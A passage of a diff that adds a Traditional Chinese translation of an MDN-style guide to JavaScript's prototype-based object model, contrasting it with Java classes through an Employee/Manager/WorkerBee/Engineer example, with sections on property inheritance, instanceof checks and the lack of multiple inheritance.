+<p>JavaScript 的繼承通過關聯另一個有構建函數的原型物件來實現，這樣，您可以創建完全一樣的 <code>Employee</code> — <code>Manager</code> 範例，不過使用的方法略有不同。首先，定義 <code>Employee</code> 構建函數，指定 <code>name</code> 和 <code>dept</code> 屬性。然後，定義 <code>Manager</code> 構建函數，指定 <code>reports</code> 屬性。最後，將一個新的 <code>Employee</code> 物件賦值給 <code>Manager</code> 構建函數的 <code>prototype</code> 屬性。這樣，當創建一個新的 <code>Manager</code> 物件時，它將從 <code>Employee</code> 物件中繼承 <code>name</code> 及 <code>dept</code> 屬性。</p>
+
+<h3 id="添加和移除屬性">添加和移除屬性</h3>
+
+<p>在基於類的語言中，通常要在編譯時建立類，然後在編譯時或者運行時產生實例。一旦定義了類，便無法改變類的屬性數目或者類型。但在 JavaScript 中，允許運行時增加或者移除任何物件的屬性。如果在物件的原型物件中增加屬性，則以該物件作為原型的所有物件也將獲得該屬性。</p>
+
+<h3 id="區別摘要">區別摘要</h3>
+
+<p>下面的表格列出了上述區別。本節的後續部分將描述有關使用 JavaScript 構建函數和原型創建物件層級結構的詳細資訊，並與在 Java 中的做法做對比。</p>
+
+<table class="fullwidth-table">
+ <caption>表 8.1 基於類（Java）和基於原型（JavaScript）的物件系統的比較</caption>
+ <thead>
+  <tr>
+   <th scope="col">基於類的（Java）</th>
+   <th scope="col">基於原型的（JavaScript）</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>類和實例是不同的事物。</td>
+   <td>所有物件均為實例。</td>
+  </tr>
+  <tr>
+   <td>通過類定義來定義類；通過建構函數來產生實體。</td>
+   <td>通過建構函數來定義和創建一組物件。</td>
+  </tr>
+  <tr>
+   <td>通過 <code>new</code> 操作符來創建物件。</td>
+   <td>相同。</td>
+  </tr>
+  <tr>
+   <td>通過類定義來定義現存類的子類，從而建構物件的層級結構。</td>
+   <td>通過將一個物件作為原型指定關聯於建構函數來建構物件的層級結構。</td>
+  </tr>
+  <tr>
+   <td>遵循類鏈繼承屬性。</td>
+   <td>遵循原型鏈繼承屬性。</td>
+  </tr>
+  <tr>
+   <td>類定義指定類的所有實例的<em>所有</em>屬性。無法在運行時添加屬性。</td>
+   <td>建構函數或原型指定初始的屬性集。允許動態地向單個的物件或者整個物件集中添加屬性，或者從中移除屬性。</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="僱員示例">僱員示例</h2>
+
+<p>本節的餘下部分將使用如下圖所示的僱員層級結構。</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/4452/=figure8.1.png" style="height: 194px; width: 281px;"></p>
+
+<p><small><strong>圖例 8.1：一個簡單的物件層級</strong></small></p>
+
+<p>該示例中使用以下物件：</p>
+
+<ul>
+ <li><code>Employee</code> 具有 <code>name</code> 屬性（其值預設為空的字串）和 <code>dept</code> 屬性（其值預設為 "general"）。</li>
+ <li><code>Manager</code> 基於 <code>Employee。它添加了</code> <code>reports</code> 屬性（其值預設為空的陣列，意在以 <code>Employee</code> 物件的陣列作為它的值）。</li>
+ <li><code>WorkerBee</code> 同樣基於 <code>Employee</code>。它添加了 <code>projects</code> 屬性（其值預設為空的陣列，意在以字串陣列作為它的值）。</li>
+ <li><code>SalesPerson</code> 基於 <code>WorkerBee</code>。它添加了 <code>quota</code> 屬性（其值預設為 100）。它還重載了 <code>dept</code> 屬性值為 "sales"，表明所有的銷售人員都屬於同一部門。</li>
+ <li><code>Engineer</code> 基於 <code>WorkerBee</code>。它添加了 <code>machine</code> 屬性（其值預設為空的字串）同時重載了 <code>dept</code> 屬性值為 "engineering"。</li>
+</ul>
+
+<h2 id="創建層級結構">創建層級結構</h2>
+
+<p>有幾種不同的方式，可以用於定義適當的建構函數，藉以實現僱員的層級結構。如何選擇很大程度上取決於您希望在您的應用程式中能做到什麼。</p>
+
+<p>本節展現了如何使用非常簡單的（同時也是相當不靈活的）定義，使得繼承得以實現。在這些定義中，無法在創建物件時指定屬性的值。新創建的物件僅僅獲得了預設值，當然允許隨後加以修改。圖例 8.2 展現了這些簡單的定義形成的層級結構。</p>
+
+<p>在 真實的應用程式中，您很可能想定義允許在創建物件時給出屬性值的建構函數。（參見 <a href="#更靈活的建構函數">更靈活的建構函數</a> 獲得進一步的資訊）。對於現在而言，這些簡單的定義示範了繼承是如何發生的。</p>
+
+<p><img alt="figure8.2.png" class="default internal" src="/@api/deki/files/4390/=figure8.2.png"><br>
+ <small><strong>圖例 8.2：Employee 物件定義</strong></small></p>
+
+<p>以下 <code>Employee</code> 的 Java 和 JavaScript 的定義相類似。唯一的不同是在 Java 中需要指定每個屬性的類型，而在 JavaScript 中則不必指定，同時 Java 的類必須創建一個顯式的建構函數方法。</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">JavaScript</th>
+   <th scope="col">Java</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <pre class="brush: js">
+function Employee () {
+  this.name = "";
+  this.dept = "general";
+}
+</pre>
+   </td>
+   <td>
+    <pre class="brush: java">
+public class Employee {
+   public String name;
+   public String dept;
+   public Employee () {
+      this.name = "";
+      this.dept = "general";
+   }
+}
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>Manager</code> 和 <code>WorkerBee</code> 的定義顯示了在如何指定繼承鏈中上一層物件方面的不同點。在 JavaScript 中，需要為建構函數的 <code>prototype</code> 屬性添加一個原型實例作為它的屬性值。您可以在定義了建構函數之後的任何時間添加這一屬性。而在 Java 中，則需要在類定義中指定超類，且不能在類定義之外改變超類。</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">JavaScript</th>
+   <th scope="col">Java</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <pre class="brush: js">
+function Manager () {
+  this.reports = [];
+}
+Manager.prototype = new Employee;
+
+function WorkerBee () {
+  this.projects = [];
+}
+WorkerBee.prototype = new Employee;
+</pre>
+   </td>
+   <td>
+    <pre class="brush: java">
+public class Manager extends Employee {
+   public Employee[] reports;
+   public Manager () {
+      this.reports = new Employee[0];
+   }
+}
+
+public class WorkerBee extends Employee {
+   public String[] projects;
+   public WorkerBee () {
+      this.projects = new String[0];
+   }
+}
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>Engineer</code> 和 <code>SalesPerson</code> 的定義創建了派生自 <code>WorkerBee</code> 進而派生自 <code>Employee</code> 的物件。這些類型的物件將具有在這個鏈之上的所有物件的屬性。同時，這些定義重載了繼承的 <code>dept</code> 屬性值，賦予這些屬性特定於這些物件的新的屬性值。</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">JavaScript</th>
+   <th scope="col">Java</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <pre class="brush: js">
+function SalesPerson () {
+   this.dept = "sales";
+   this.quota = 100;
+}
+SalesPerson.prototype = new WorkerBee;
+
+function Engineer () {
+   this.dept = "engineering";
+   this.machine = "";
+}
+Engineer.prototype = new WorkerBee;
+</pre>
+   </td>
+   <td>
+    <pre class="brush: java">
+public class SalesPerson extends WorkerBee {
+   public double quota;
+   public SalesPerson () {
+      this.dept = "sales";
+      this.quota = 100.0;
+   }
+}
+
+public class Engineer extends WorkerBee {
+   public String machine;
+   public Engineer () {
+      this.dept = "engineering";
+      this.machine = "";
+   }
+}
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>使用這些定義，可以創建這些物件的實例。這些實例將獲得其屬性的預設值。圖例 8.3 展現了使用這些 JavaScript 定義創建新定義，並顯示了新物件中的屬性值。</p>
+
+<p>{{ note('術語 <em><em>實例（instance）</em></em>在 基於類的語言中具有特定的技術含義。在這些語言中，實例是指類的個體成員，與類有著根本性的不同。在 JavaScript 中，“實例”並不具有這種技術含義，因為 JavaScript 中不存在類和實例之間的這種差異。然而，在談論 JavaScript 時，“實例”可以非正式地用於表示用特定的建構函數創建的物件。所以，在這個例子中，你可以非正式地 <code>jane</code> 是 <code>Engineer</code> 的一個實例。與之類似，儘管術語<em>父（parent）</em>，<em>子（child）</em>，<em>祖先（ancestor）</em>，和<em>後代（descendant）</em>在 JavaScript 中並沒有正式的含義，您可以非正式地使用這些術語用於指代原型鏈中處於更高層次或者更低層次的物件。') }}</p>
+
+<p><img alt="figure8.3.png" class="default internal" id="figure8.3" src="/@api/deki/files/4403/=figure8.3.png"><br>
+ <a id="8.3" name="8.3"><small><strong>圖例 8.3：通過簡單的定義創建物件</strong></small></a></p>
+
+<h2 id="物件的屬性">物件的屬性</h2>
+
+<p>本節將討論物件如何從原型鏈中的其它物件中繼承屬性，以及在運行時添加屬性的相關細節。</p>
+
+<h3 id="繼承屬性">繼承屬性</h3>
+
+<p>假設通過如下語句創建一個 <code>mark</code> 物件作為 <code>WorkerBee</code>（如 <a href="#8.3">圖例 8.3</a> 所示）：</p>
+
+<pre class="brush: js">var mark = new WorkerBee;
+</pre>
+
+<p>當 JavaScript 發現 <code>new</code> 操作符，它將創建一個普通的物件，並將其作為關鍵字 <code>this</code> 的值傳遞給 <code>WorkerBee</code> 的建構函數。該建構函數顯式地設置 <code>projects</code> 屬性的值，然後隱式地將其內部的 <code>__proto__</code> 屬性設置為 <code>WorkerBee.prototype</code> 的值（屬性的名稱前後均有兩個底線）。<code>__proto__</code> 屬性決定了用於返回屬性值的原型鏈。一旦這些屬性得以設置，JavaScript 返回新創建的物件，然會設定陳述式設置變數 <code>mark</code> 的值為該物件。</p>
+
+<p>這個過程不會顯式地為 <code>mark</code> 物件從原型鏈中所繼承的屬性設置值（本地值）。當請求屬性的值時，JavaScript 將首先檢查物件自身中是否設置了該屬性的值，如果有，則返回該值。如果本地值不存在，則 JavaScript 將檢查原型鏈（通過 <code>__proto__</code> 屬性）。如果原型鏈中的某個物件具有該屬性的值，則返回這個值。如果沒有找到該屬性，JavaScript 則認為物件中不存在該屬性。這樣，<code>mark</code> 物件中將具有如下的屬性和對應的值：</p>
+
+<pre class="brush: js">mark.name = "";
+mark.dept = "general";
+mark.projects = [];
+</pre>
+
+<p><code>mark</code> 對象從 <code>mark.__proto__</code> 中保存的原型物件中繼承了 <code>name</code> 和 <code>dept</code> 屬性的值。並由 <code>WorkerBee</code> 建構函數為 <code>projects</code> 屬性設置了本地值。 這就是 JavaScript 中的屬性和屬性值的繼承。這個過程的一些微妙之處將在 <a href="#再談屬性繼承">再談屬性繼承</a> 中進一步討論。</p>
+
+<p>由於這些建構函數不支援設置實例特定的值，所以，這些屬性值僅僅是泛泛地由創建自 <code>WorkerBee</code> 的所有物件所共用的預設值。當然，允許修改這些屬性的值。所以，您也可以為這些屬性指定特定的值，如下所示：</p>
+
+<pre class="brush: js">mark.name = "Doe, Mark";
+mark.dept = "admin";
+mark.projects = ["navigator"];</pre>
+
+<h3 id="添加屬性">添加屬性</h3>
+
+<p>在 JavaScript 中，可以在運行時為任何物件添加屬性，而不必受限於建構函數提供的屬性。添加特定於某個物件的屬性，只需要為該物件指定一個屬性值，如下所示：</p>
+
+<pre class="brush: js">mark.bonus = 3000;
+</pre>
+
+<p>這樣 <code>mark</code> 物件就有了 <code>bonus</code> 屬性，而其它 <code>WorkerBee</code> 則沒有該屬性。</p>
+
+<p>如果向某個建構函數的原型物件中添加新的屬性，則該屬性將添加到從這個原型中繼承屬性的所有物件的中。例如，可以通過如下的語句向所有僱員中添加 <code>specialty</code> 屬性：</p>
+
+<pre class="brush: js">Employee.prototype.specialty = "none";
+</pre>
+
+<p>一旦 JavaScript 執行該語句，則 <code>mark</code> 物件也將具有 <code>specialty</code> 屬性，其值為 <code>"none"</code>。下圖展現了在 <code>Employee</code> 原型中添加該屬性，然後在 <code>Engineer</code> 的原型中重載該屬性的效果。</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/4422/=figure8.4.png" style="height: 519px; width: 833px;"><br>
+ <small><strong>Figure 8.4: Adding properties</strong></small></p>
+
+<h2 id="more_flexible_constructors" name="more_flexible_constructors"><a name="更靈活的建構函數">更靈活的建構函數</a></h2>
+
+<p>到目前為止所展現的建構函數不允許在創建新的實例時指定屬性值。正如 Java 一樣，可以為建構函數提供參數以便初始化實例的屬性值。下圖展現其中一種做法。</p>
+
+<p><img alt="" class="internal" id="figure8.5" src="/@api/deki/files/4423/=figure8.5.png" style="height: 481px; width: 1012px;"><br>
+ <a id="8.5" name="8.5"><small><strong>Figure 8.5: Specifying properties in a constructor, take 1</strong></small></a></p>
+
+<p>下面的表格中羅列了這些物件在 Java 和 JavaScript 中的定義。</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">JavaScript</th>
+   <th scope="col">Java</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <pre class="brush: js">
+function Employee (name, dept) {
+  this.name = name || "";
+  this.dept = dept || "general";
+}
+</pre>
+   </td>
+   <td>
+    <pre class="brush: java">
+public class Employee {
+   public String name;
+   public String dept;
+   public Employee () {
+      this("", "general");
+   }
+   public Employee (String name) {
+      this(name, "general");
+   }
+   public Employee (String name, String dept) {
+      this.name = name;
+      this.dept = dept;
+   }
+}
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <pre class="brush: js">
+function WorkerBee (projs) {
+  this.projects = projs || [];
+}
+WorkerBee.prototype = new Employee;
+</pre>
+   </td>
+   <td>
+    <pre class="brush: java">
+public class WorkerBee extends Employee {
+   public String[] projects;
+   public WorkerBee () {
+      this(new String[0]);
+   }
+   public WorkerBee (String[] projs) {
+      projects = projs;
+   }
+}
+
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <pre class="brush: js">
+
+function Engineer (mach) {
+   this.dept = "engineering";
+   this.machine = mach || "";
+}
+Engineer.prototype = new WorkerBee;
+</pre>
+   </td>
+   <td>
+    <pre class="brush: java">
+public class Engineer extends WorkerBee {
+   public String machine;
+   public Engineer () {
+      dept = "engineering";
+      machine = "";
+   }
+   public Engineer (String mach) {
+      dept = "engineering";
+      machine = mach;
+   }
+}
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>這些 JavaScript 定義使用了設置預設值的一種特殊慣用法：</p>
+
+<pre class="brush: js">this.name = name || "";
+</pre>
+
+<p>JavaScript 的邏輯 OR 操作符（<code>||）</code>將求解它的第一個參數。如果該參數的值可以轉換為真，則操作符返回該值。否則，操作符返回第二個參數的值。因此，這行代碼首先檢查 <code>name</code> 是否具有一個對 <code>name</code> 屬性有用的值。如果有，則設置其為 <code>this.name</code> 的值。否則，設置 <code>this.name</code> 的值為空的字串。為求簡潔，本章將使用這一慣用法，儘管咋一看它有些費解。</p>
+
+<p>{{ note('如果調用建構函數時，指定了可以轉換為 <code><code>false</code></code> 的參數（比如 <code>0</code> （零）和空字串<code><code>（""）），結果可能出乎調用者意料。此時，將使用預設值（譯者注：而不是指定的參數值 0 和 ""）。</code></code>') }}</p>
+
+<p>基於這些定義，當創建物件的實例時，可以為本地定義的屬性指定值。正如 <a href="#8.5">圖例 8.5</a> 所示一樣，您可以通過如下語句創建新的 <code>Engineer</code>：</p>
+
+<pre class="brush: js">var jane = new Engineer("belau");
+</pre>
+
+<p>此時，<code>Jane</code> 的屬性如下所示：</p>
+
+<pre class="brush: js">jane.name == "";
+jane.dept == "engineering";
+jane.projects == [];
+jane.machine == "belau"
+</pre>
+
+<p>基於上述定義，無法為諸如 <code>name</code> 這樣的繼承屬性指定初始值。在 JavaScript 中，如果想為繼承的屬性指定初始值，建構函數中需要更多的代碼。</p>
+
+<p>到目前為止，建構函數已經能夠創建一個普通物件，然後為新物件指定本地的屬性和屬性值。您還可以通過直接調用原型鏈上的更高層次物件的建構函數，讓建構函數添加更多的屬性。下面的圖例展現這種新定義。</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/4430/=figure8.6.png" style="height: 534px; width: 1063px;"><br>
+ <small><strong>Figure 8.6 Specifying properties in a constructor, take 2</strong></small></p>
+
+<p>讓我們仔細看看這些定義的其中之一。以下是 <code>Engineer</code> 建構函數的定義：</p>
+
+<pre class="brush: js">function Engineer (name, projs, mach) {
+  this.base = WorkerBee;
+  this.base(name, "engineering", projs);
+  this.machine = mach || "";
+}
+</pre>
+
+<p>假設您創建了一個新的 <code>Engineer</code> 物件，如下所示：</p>
+
+<pre class="brush: js">var jane = new Engineer("Doe, Jane", ["navigator", "javascript"], "belau");
+</pre>
+
+<p>JavaScript 遵循以下步驟：</p>
+
+<ol>
+ <li><code>new</code> 操作符創建了一個新的普通物件，並將其 <code>__proto__</code> 屬性設置為 <code>Engineer.prototype</code>。</li>
+ <li><code>new</code> 操作符將該新對象作為 <code>this</code> 關鍵字的值傳遞給 <code>Engineer</code> 建構函數。</li>
+ <li>建構函數為該新物件創建了一個名為 <code>base</code> 的新屬性，並將 <code>WorkerBee</code> 的建構函數指定為 <code>base</code> 屬性的值。這使得 <code>WorkerBee</code> 建構函數成為 <code>Engineer</code> 物件的一個方法。<code>base</code> 屬性的名字沒有特殊性。可以使用任何合法的屬性名稱；<code>base</code> 僅僅是為了貼近它的用意。</li>
+ <li>
+  <p>建構函數調用 <code>base</code> 方法，將傳遞給該建構函數的參數中的兩個，作為參數傳遞給 <code>base</code> 方法，同時還傳遞一個字串參數  <code>"engineering"。顯式地在建構函數中使用</code> <code>"engineering"</code> 表明所有 <code>Engineer</code> 物件繼承的 <code>dept</code> 屬性具有相同的值，且該值重載了繼承自 <code>Employee</code> 的值。</p>
+ </li>
+ <li>因為 <code>base</code> 是 <code>Engineer</code> 的一個方法，在調用 <code>base</code> 時，JavaScript 將在步驟 1 中創建的對象綁定給 <code>this</code> 關鍵字。這樣，<code>WorkerBee</code> 函數接著將 <code>"Doe, Jane"</code> 和 <code>"engineering"</code> 參數傳遞給 <code>Employee</code> 建構函數。當從 <code>Employee</code> 建構函數返回時，<code>WorkerBee</code> 函數用剩下的參數設置 <code>projects</code> 屬性。</li>
+ <li>當從 <code>base</code> 方法返回時，<code>Engineer</code> 建構函數將物件的 <code>machine</code> 屬性初始化為 <code>"belau"</code>。</li>
+ <li>當從建構函數返回時，JavaScript 將新物件賦值給 <code>jane</code> 變數。</li>
+</ol>
+
+<p>您可以認為，在 <code>Engineer</code> 的建構函數中調用 <code>WorkerBee</code> 的建構函數，也就為 <code>Engineer</code> 物件設置好了適當繼承。事實並非如此。調用 <code>WorkerBee</code> 建構函數確保了<code>Engineer</code> 物件以所有被調用的建構函數中所指定的屬性作為起步。但是，如果之後在 <code>Employee</code> 或者 <code>WorkerBee</code> 原型中添加了屬性，那些屬性不會被 <code>Engineer</code> 物件繼承。例如，假設如下語句：</p>
+
+<pre class="brush: js">function Engineer (name, projs, mach) {
+  this.base = WorkerBee;
+  this.base(name, "engineering", projs);
+  this.machine = mach || "";
+}
+var jane = new Engineer("Doe, Jane", ["navigator", "javascript"], "belau");
+Employee.prototype.specialty = "none";
+</pre>
+
+<p>物件 <code>jane</code> 不會繼承 <code>specialty</code> 屬性。必需顯式地設置原型才能確保動態的技能。假設修改為如下的語句：</p>
+
+<pre class="brush: js">function Engineer (name, projs, mach) {
+  this.base = WorkerBee;
+  this.base(name, "engineering", projs);
+  this.machine = mach || "";
+}
+Engineer.prototype = new WorkerBee;
+var jane = new Engineer("Doe, Jane", ["navigator", "javascript"], "belau");
+Employee.prototype.specialty = "none";
+</pre>
+
+<p>現在 <code>jane</code> 物件的 <code>specialty</code> 屬性為 "none" 了。</p>
+
+<p>繼承的另一種途徑是使用<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/call" title="en-US/docs/JavaScript/Reference/Global Objects/Function/call"><code>call()</code></a> / <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/apply" title="en-US/docs/JavaScript/Reference/Global Objects/Function/apply"><code>apply()</code></a> 方法。下面的方式都是等價的：</p>
+
+<table>
+ <tbody>
+  <tr>
+   <td>
+    <pre class="brush: js">
+function Engineer (name, projs, mach) {
+  this.base = WorkerBee;
+  this.base(name, "engineering", projs);
+  this.machine = mach || "";
+}
+</pre>
+   </td>
+   <td>
+    <pre class="brush: js">
+function Engineer (name, projs, mach) {
+  WorkerBee.call(this, name, "engineering", projs);
+  this.machine = mach || "";
+}
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>使用 javascript 的 <code>call()</code> 方法相對明瞭一些，因為無需 <code>base</code> 方法了。</p>
+
+<h2 id="再談屬性的繼承">再談屬性的繼承</h2>
+
+<p>前面的小節中描述了 JavaScript 建構函數和原型如何提供層級結構和繼承的實現。本節中將討論之前未曾明確的一些細微之處。</p>
+
+<h3 id="本地的值和繼承的值">本地的值和繼承的值</h3>
+
+<p>正如本章前面所述，在訪問一個物件的屬性時，JavaScript 將按照如下的步驟處理：</p>
+
+<ol>
+ <li>檢查是否存在本地的值。如果存在，返回該值。</li>
+ <li>如果本地值不存在，檢查原型鏈（通過 <code>__proto__</code> 屬性）。</li>
+ <li>如果原型鏈中的某個物件具有指定屬性的值，則返回該值。</li>
+ <li>如果這樣的屬性不存在，則物件沒有該屬性。</li>
+</ol>
+
+<p>以上步驟的結果依賴於您是如何定義的。最早的例子中具有如下定義：</p>
+
+<pre class="brush: js">function Employee () {
+  this.name = "";
+  this.dept = "general";
+}
+
+function WorkerBee () {
+  this.projects = [];
+}
+WorkerBee.prototype = new Employee;
+</pre>
+
+<p>基於這些定義，假定通過如下的語句創建 <code>WorkerBee</code> 的實例 <code>amy：</code></p>
+
+<pre class="brush: js">var amy = new WorkerBee;
+</pre>
+
+<p>則 <code>amy</code> 物件將具有一個本地屬性，<code>projects。</code><code>name</code> 和 <code>dept</code> 屬性則不是 <code>amy</code> 物件本地的，而是從 <code>amy</code> 物件的 <code>__proto__</code> 屬性獲得的。因此，<code>amy</code> 將具有如下的屬性值：</p>
+
+<pre class="brush: js">amy.name == "";
+amy.dept == "general";
+amy.projects == [];
+</pre>
+
+<p>現在，假定修改了關聯於 <code>Employee</code> 的原型中的 <code>name</code> 屬性的值：</p>
+
+<pre class="brush: js">Employee.prototype.name = "Unknown"
+</pre>
+
+<p>乍一看，您可能期望新的值會傳播給所有 <code>Employee</code> 的實例。然而，並非如此。</p>
+
+<p>在創建 <code>Employee</code> 對象的 <em>任何</em> 實例時，該實例的 <code>name</code> 屬性將獲得一個本地值（空的字串）。這意味著在創建一個新的 <code>Employee</code> 物件作為 <code>WorkerBee</code> 的原型時，<code>WorkerBee.prototype</code> 的 <code>name</code> 屬性將具有一個本地值。這樣，當 JavaScript 查找 <code>amy</code> 物件（<code>WorkerBee</code> 的實例）的 <code>name</code> 屬性時，JavaScript 將找到 <code>WorkerBee.prototype</code> 中的本地值。因此，也就不會繼續在原型鏈中向上找到 <code>Employee.prototype</code> 了。</p>
+
+<p>如果想在運行時修改物件的屬性值並且希望該值被所有該物件的後代所繼承，不能在該物件的建構函數中定義該屬性。而是應該將該屬性添加到該物件所關聯的原型中。例如，假設將前面的代碼作如下修改：</p>
+
+<pre class="brush: js">function Employee () {
+  this.dept = "general";
+}
+Employee.prototype.name = "";
+
+function WorkerBee () {
+  this.projects = [];
+}
+WorkerBee.prototype = new Employee;
+
+var amy = new WorkerBee;
+
+Employee.prototype.name = "Unknown";
+</pre>
+
+<p>這時，<code>amy</code> 的 <code>name</code> 屬性將為 "Unknown"。</p>
+
+<p>正如這些例子所示，如果希望物件的屬性具有預設值，且希望在運行時修改這些預設值，應該在物件的原型中設置這些屬性，而不是在建構函數中。</p>
+
+<h3 id="判斷實例的關係">判斷實例的關係</h3>
+
+<p>JavaScript 的屬性查找機制首先在物件自身的屬性中查找，如果指定的屬性名稱沒有找到，將在物件的特殊屬性 <code>__proto__</code> 中查找。這個過程是遞迴的；被稱為“在原型鏈中查找”。</p>
+
+<p>特殊的 <code>__proto__</code> 屬性是在構建物件時設置的；設置為建構函數的 <code>prototype</code> 屬性的值。所以運算式 <code>new Foo()</code> 將創建一個物件，其 <code>__proto__ == <code class="moz-txt-verticalline">Foo.prototype</code></code>。因而，修改 <code class="moz-txt-verticalline">Foo.prototype</code> 的屬性，將改變所有通過 <code>new Foo()</code> 創建的物件的屬性的查找。</p>
+
+<p>每個物件都有一個 <code>__proto__</code> 物件屬性（除了 <code>Object）；每個函數都有一個</code> <code>prototype</code> 物件屬性。因此，通過“原型繼承（prototype inheritance）”，物件與其它物件之間形成關係。通過比較物件的 <code>__proto__</code> 屬性和函數的 <code>prototype</code> 屬性可以檢測物件的繼承關係。JavaScript 提供了便捷方法：<code>instanceof</code> 操作符可以用來將一個物件和一個函數做檢測，如果物件繼承自函數的原型，則該操作符返回真。例如：</p>
+
+<pre class="brush: js">var f = new Foo();
+var isTrue = (f instanceof Foo);</pre>
+
+<p>作為詳細一點的例子，假定我們使用和在 <a href="#繼承屬性">繼承屬性</a> 中相同的一組定義。創建 <code>Engineer</code> 物件如下：</p>
+
+<pre class="brush: js">var chris = new Engineer("Pigman, Chris", ["jsd"], "fiji");
+</pre>
+
+<p>對於該物件，以下所有語句均為真：</p>
+
+<pre class="brush: js">chris.__proto__ == Engineer.prototype;
+chris.__proto__.__proto__ == WorkerBee.prototype;
+chris.__proto__.__proto__.__proto__ == Employee.prototype;
+chris.__proto__.__proto__.__proto__.__proto__ == Object.prototype;
+chris.__proto__.__proto__.__proto__.__proto__.__proto__ == null;
+</pre>
+
+<p>基於此，可以寫出一個如下所示的 <code>instanceOf</code> 函數：</p>
+
+<pre class="brush: js">function instanceOf(object, constructor) {
+   while (object != null) {
+      if (object == constructor.prototype)
+         return true;
+      if (typeof object == 'xml') {
+        return constructor.prototype == XML.prototype;
+      }
+      object = object.__proto__;
+   }
+   return false;
+}
+</pre>
+
+<div class="note"><strong>Note:</strong> 在上面的實現中，檢查物件的類型是否為 "xml" 的目的在於解決新近版本的 JavaScript 中表達 XML 物件的特異之處。如果您想瞭解其中瑣碎細節，可以參考 {{ bug(634150) }}。</div>
+
+<pre class="brush: js">instanceOf (chris, Engineer)
+instanceOf (chris, WorkerBee)
+instanceOf (chris, Employee)
+instanceOf (chris, Object)
+</pre>
+
+<p>但如下運算式為假：</p>
+
+<pre class="brush: js">instanceOf (chris, SalesPerson)</pre>
+
+<h3 id="建構函數中的全域資訊">建構函數中的全域資訊</h3>
+
+<p>在創建建構函數時，在建構函數中設置全域資訊要小心。例如，假設希望為每一個僱員分配一個唯一標識。可能會為 <code>Employee</code> 使用如下定義：</p>
+
+<pre class="brush: js">var idCounter = 1;
+
+function Employee (name, dept) {
+   this.name = name || "";
+   this.dept = dept || "general";
+   this.id = idCounter++;
+}
+</pre>
+
+<p>基於該定義，在創建新的 <code>Employee</code> 時，建構函數為其分配了序列中的下一個識別字。然後遞增全域的識別字計數器。因此，如果，如果隨後的語句如下，則 <code>victoria.id</code> 為 1 而 <code>harry.id</code> 為 2：</p>
+
+<pre class="brush: js">var victoria = new Employee("Pigbert, Victoria", "pubs")
+var harry = new Employee("Tschopik, Harry", "sales")
+</pre>
+
+<p>乍一看似乎沒問題。但是，無論什麼目的，在每一次創建 <code>Employee</code> 對象時，<code>idCounter</code> 都將被遞增一次。如果創建本章中所描述的整個 <code>Employee</code> 層級結構，每次設置原型的時候，<code>Employee</code> 建構函數都將被調用一次。假設有如下代碼：</p>
+
+<pre class="brush: js">var idCounter = 1;
+
+function Employee (name, dept) {
+   this.name = name || "";
+   this.dept = dept || "general";
+   this.id = idCounter++;
+}
+
+function Manager (name, dept, reports) {...}
+Manager.prototype = new Employee;
+
+function WorkerBee (name, dept, projs) {...}
+WorkerBee.prototype = new Employee;
+
+function Engineer (name, projs, mach) {...}
+Engineer.prototype = new WorkerBee;
+
+function SalesPerson (name, projs, quota) {...}
+SalesPerson.prototype = new WorkerBee;
+
+var mac = new Engineer("Wood, Mac");
+</pre>
+
+<p>還可以進一步假設上面省略掉的定義中包含 <code>base</code> 屬性而且調用了原型鏈中高於它們的建構函數。即便在現在這個情況下，在 <code>mac</code> 物件創建時，<code>mac.id</code> 為 5。</p>
+
+<p>依賴于應用程式，計數器額外的遞增可能有問題，也可能沒問題。如果確實需要準確的計數器，則以下建構函數可以作為一個可行的方案：</p>
+
+<pre class="brush: js">function Employee (name, dept) {
+   this.name = name || "";
+   this.dept = dept || "general";
+   if (name)
+      this.id = idCounter++;
+}
+</pre>
+
+<p>在用作原型而創建新的 <code>Employee</code> 實例時，不會指定參數。使用這個建構函數定義，如果不指定參數，建構函數不會指定識別字，也不會遞增計數器。而如果想讓 <code>Employee</code> 分配到識別字，則必需為僱員指定姓名。在這個例子中，<code>mac.id</code> 將為 1。</p>
+
+<h3 id="沒有多繼承">沒有多繼承</h3>
+
+<p>某些物件導向語言支援多重繼承。也就是說，物件可以從無關的多個父物件中繼承屬性和屬性值。JavaScript 不支持多重繼承。</p>
+
+<p>JavaScript 屬性值的繼承是在運行時通過檢索物件的原型鏈來實現的。因為物件只有一個原型與之關聯，所以 JavaScript 無法動態地從多個原型鏈中繼承。</p>
+
+<p>在 JavaScript 中，可以在建構函數中調用多個其它的建構函數。這一點造成了多重繼承的假像。例如，考慮如下語句：</p>
+
+<pre class="brush: js">function Hobbyist (hobby) {
+   this.hobby = hobby || "scuba";
+}
+
+function Engineer (name, projs, mach, hobby) {
+   this.base1 = WorkerBee;
+   this.base1(name, "engineering", projs);
+   this.base2 = Hobbyist;
+   this.base2(hobby);
+   this.machine = mach || "";
+}
+Engineer.prototype = new WorkerBee;
+
+var dennis = new Engineer("Doe, Dennis", ["collabra"], "hugo")
+</pre>
+
+<p>進一步假設使用本章前面所屬的 <code>WorkerBee</code> 的定義。此時 <code>dennis</code> 物件具有如下屬性：</p>
+
+<pre class="brush: js">dennis.name == "Doe, Dennis"
+dennis.dept == "engineering"
+dennis.projects == ["collabra"]
